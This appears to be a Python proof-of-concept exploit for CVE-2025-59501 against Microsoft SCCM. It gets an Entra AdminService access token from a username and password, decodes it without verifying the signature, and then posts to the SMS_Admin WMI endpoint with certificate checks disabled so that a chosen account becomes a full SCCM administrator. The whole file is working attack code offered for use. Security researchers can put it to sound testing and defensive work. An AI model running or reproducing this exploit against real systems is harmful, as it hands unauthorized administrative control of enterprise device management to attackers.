import jwt import sys import json import argparse import requests from msal import PublicClientApplication from urllib3.exceptions import InsecureRequestWarning def jprint(obj): text = json.dumps(obj, sort_keys=True, indent=4) print(text) def get_token(args): client_id = args.client_id tenant_id = args.tenant_id scope = args.scope username = args.username password = args.password try: app = PublicClientApplication( client_id=client_id, authority=f"https://login.microsoftonline.com/{tenant_id}" ) if not scope.lower().endswith('/user_impersonation'): scope = scope + "/user_impersonation" result = app.acquire_token_by_username_password( username=username, password=password, scopes=[scope] ) if "access_token" in result: print("[+] Token acquired successfully:") print(result['access_token']) try: access_token = result['access_token'] decoded_header = jwt.get_unverified_header(access_token) algo = decoded_header.get("alg", "") decoded_data = jwt.decode(jwt=access_token, algorithms=[f"{algo}"], options={"verify_signature": False}) jprint(decoded_data) return except jwt.exceptions.DecodeError: pass else: print(result) except Exception as e: print("[-] Something went wrong during access token request") print(e) def get_admin(args): token = args.access_token target = args.target user_sid = args.sid target_user = args.user headers = {'Content-Type': 'application/json; odata=verbose', "Authorization": f"Bearer {token}"} requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) body = {"LogonName": f"{target_user}", "AdminSid":f"{user_sid}", "Permissions":[{"CategoryID": "SMS00ALL", "CategoryTypeID": 29, "RoleID":"SMS0001R", }, {"CategoryID": "SMS00001", "CategoryTypeID": 1, "RoleID":"SMS0001R", }, {"CategoryID": "SMS00004", "CategoryTypeID": 1, "RoleID":"SMS0001R", }], "DisplayName":f"{target_user}" } url = f"https://{target}/AdminService_TokenAuth/wmi/SMS_Admin/" try: r = requests.post(f"{url}", verify=False,headers=headers, json=body) results = r.json() jprint(results) except Exception as e: print(e) print(r.content) print(r.status_code) def main(): parser = argparse.ArgumentParser(description='POC to abuse CVE-2025-59501 by @unsigned_sh0rt') subparsers = parser.add_subparsers(dest='command') token = subparsers.add_parser('token', help="Get AdminService access token") token.add_argument('-u','--username', required=True, help='username') token.add_argument('-p', '--password', help='password') token.add_argument('-c', '--client-id', required=True, help='azure app clientid') token.add_argument('-t', '--tenant-id', required=True, help='entra tenant ID') token.add_argument('-s', '--scope', help="resource URI/Scope") admin = subparsers.add_parser('admin', help='Add user as SCCM admin') admin.add_argument('-t', '--target', required=True, help='target SMS provider FQDN or IP address') admin.add_argument('-u', '--user', required=True, help='Username to add as admin') admin.add_argument('-s', '--sid', required=True, help="New admins user's SID") admin.add_argument('-a', '--access-token', required=True, help="AdminService access token") args = parser.parse_args() if args.command is None: parser.print_help() sys.exit(1) if args.command == 'token': get_token(args) elif args.command == 'admin': get_admin(args) if __name__ == '__main__': main()